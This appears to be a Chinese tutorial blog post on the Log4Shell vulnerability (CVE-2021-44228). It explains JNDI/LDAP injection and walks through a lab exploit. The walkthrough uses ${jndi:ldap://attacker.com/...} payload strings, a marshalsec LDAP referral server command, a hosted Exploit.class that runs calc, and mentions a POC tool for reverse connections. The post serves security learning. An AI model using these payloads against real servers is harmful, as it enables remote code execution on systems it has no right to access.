log4j2: CVE-2021-44228[RCE]

漏洞概述

CVE-2021-44228为Apache Log4j2漏洞,被称为"Log4Shell"。攻击者将恶意代码与服务器进行交互,使服务器日志组件将其记录并执行,从而造就RCE远程代码执行漏洞。

漏洞原理

  1. 日志记录机制:Log4j2是一个日志记录工具,允许通过配置文件来定义日志的格式。日志格式中可以使用变量,这些变量在日志记录时会被替换为实际的值。

  2. 变量替换机制:Log4j2支持使用${}来引用变量。例如,${user}可能执行相关代码

  3. JNDI查找支持:Log4j2还支持JNDI查找,允许通过${jndi:...}的形式引用远程资源。

  4. 漏洞触发点:在Log4j2的某些版本中,如果日志配置不当,${jndi:...}表达式可以被外部输入所利用,导致Log4j2尝试解析并执行JNDI查找。

  5. JNDI注入:攻击者通过构造特定的字符串,${jndi:ldap://attacker.com/hello}访问不存在于ldap服务器的内容, 来触发JNDI注入。ldap://attacker.com/是一个指向攻击者控制的LDAP服务器的URL,hello为不存在的文件。

  6. 指定远程服务器恶意代码:当攻击者控制的LDAP服务器没有具体文件时,将从指定动态加载对象,从而使目标服务器加载并执行。

JNDI

JNDI是Java EE的一部分,它提供了一种在Java应用程序中查找和访问各种类型的命名和目录服务的方法。JNDI可以与多种不同的服务进行交互,如LDAP、DNS、文件系统等。

用途:

查找资源:应用程序可以通过JNDI查找和访问远程资源。

LDAP

LDAP是一个轻量级的目录访问协议,用于访问和维护分布式目录信息服务。

用途:

引用恶意代码文件:当服务器查找不存在于LDAP的文件时,将被指引请求,存在于攻击者服务器内的,恶意代码

漏洞利用

存在漏洞的靶机服务器:127.0.0.1

LDAP服务器:127.0.0.1

存在恶意代码文件的远程服务器 kali:192.168.10.128

环境准备:

<1>dnslog生成域名

<2>验证漏洞

输入并运行:${jndi:ldap://u79stc.dnslog.cn}

漏洞利用

1.kali存放代码文件,并开启http服务

┌──(root㉿kali)-[/]
└─# find / -name Exploit.class
/Exploit.class
┌──(root㉿kali)-[~]
└─# python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

2.本机开启ldap服务 

 cmd命令行执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer http://192.168.10.128:8888//#Exploit 7365

3.靶机访问ldap服务

执行恶意代码打开计算器

import java.io.IOException;

public class Exploit {
    static {
        try {
            // 打开windows电脑的计算器 proof of content
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

4.使用工具进行利用

 start_log4j_POC

target:存在漏洞的地址

DNSLOG_url: 进行域名解析

vps_target:建立反弹连接的主机

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值